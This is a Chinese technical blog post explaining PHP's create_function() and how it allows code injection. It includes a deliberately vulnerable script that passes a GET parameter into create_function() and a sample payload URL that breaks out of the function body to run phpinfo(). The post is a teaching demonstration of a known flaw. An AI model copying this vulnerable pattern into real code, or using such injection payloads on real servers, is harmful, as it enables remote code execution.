文档章节

PHP create_function()代码注入,PHP7.2竟然还存在

虎爷
 虎爷
发布于 2018/11/21 10:23
字数 253
阅读 475
收藏 1

第一部分:介绍php函数 create_function

string create_function    ( string $args   , string $code   )

string $args 变量部分

string $code 方法代码部分

举例:

create_function('$fname','echo $fname."Zhang"')

类似于:

function fT($fname) {
  echo $fname."Zhang";
}

举一个官方提供的例子:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599

第二部分:如何利用create_function()代码注入

测试环境版本:

apache +php 5.2、apache +php 5.3

有问题的代码:

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";

利用方法:

http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

 

实现原理:

由于id=2;}phpinfo();/*

执行函数为:

function fT($a) {
  echo "test".$a;
}

注入代码后:

function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}

测试效果:

© 著作权归作者所有

虎爷
粉丝 1
博文 1
码字总数 253
作品 0
福州
后端工程师
私信 提问
PHP7在cmd模式下无法运行

我的环境是在win7下自己搭得PHP7.2 Apache2.4 在cmd下输入:php -v ;会弹出一个小窗口写着:PHP无法定位程序输入点zendhashnextindexinsert@@16于动态链接库php7ts.dll; 报的错误是找不到文件...

Gao2000
04/25
0
0
【Discuz!】Discuz! X3.4配置后出现页首出现Deprecated提示的问题

Discuz! X3.4 Release 20180101这版不支持mysql8.0,将mysql搞成mysql5.5.61之后,终于可以开始成功安装,当然你也可以通过强制修改install文件的方式在mysql8.0下成功安装。 但Discuz! X3....

yongh701
2018/10/04
0
0
全自定义环境,一键快速安装PHP7.2版本,32/64位任选,php7.2环境搭建

想要在windows环境下快速搭建最新的PHP版本,可以使用全能自定义PHP集成环境PHPWAMP_IN2 全能自定义:PHPWAMP_IN2支持一键自定义Apache、nginx、PHP、Mysql任意版本,无需安装VC运行库, 其他...

Lccee
2018/01/24
0
0
依赖注册的简单接触

1.在组件内部创建依赖对象 首先,我们假设,我们要开发一个组件命名为SomeComponent。 这个组件中依赖一个数据库连接。 组件数据库连接对象,我们在组件中创建数据库连接对象 demo1: 在这个例...

金于虎
2016/12/23
2
3
全能自定义环境,一键快速安装PHP7.2版本,32/64位任选

想要在windows环境下快速搭建最新的PHP版本,可以使用全能自定义PHP集成环境PHPWAMP_IN2 全能自定义:PHPWAMP_IN2支持一键自定义Apache、nginx、PHP、Mysql任意版本,无需安装VC运行库, 其他...

Lccee老师
2018/01/24
0
0

没有更多内容

加载失败,请刷新页面

加载更多

运维规范

命名规范 发布流程 监控告警 故障定位 状态 日志 监控

以谁为师
39分钟前
1
0
约瑟夫环(报数游戏)java实现

开端 公司组织考试,一拿到考题,就是算法里说的约瑟夫环,仔细想想 以前老师将的都忘了,还是自己琢磨把~ package basic.gzy;import java.util.Iterator;import java.util.LinkedList;...

无极之岚
56分钟前
2
0
Kernel字符设备驱动框架

Linux设备分为三大类:字符设备,块设备和网络设备,这三种设备基于不同的设备框架。相较于块设备和网络设备,字符设备在kernel中是最简单的,也是唯一没有基于设备基础框架(device结构)的...

yepanl
今天
3
0
Jenkins 中文本地化的重大进展

本文首发于:Jenkins 中文社区 我从2017年开始,参与 Jenkins 社区贡献。作为一名新成员,翻译可能是帮助社区项目最简单的方法。 本地化的优化通常是较小的改动,你无需了解项目完整的上下文...

Jenkins中文社区
昨天
4
0
Spring中如何使用设计模式

关于设计模式,如果使用得当,将会使我们的代码更加简洁,并且更具扩展性。本文主要讲解Spring中如何使用策略模式,工厂方法模式以及Builder模式。 1. 策略模式 关于策略模式的使用方式,在S...

爱宝贝丶
昨天
4
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部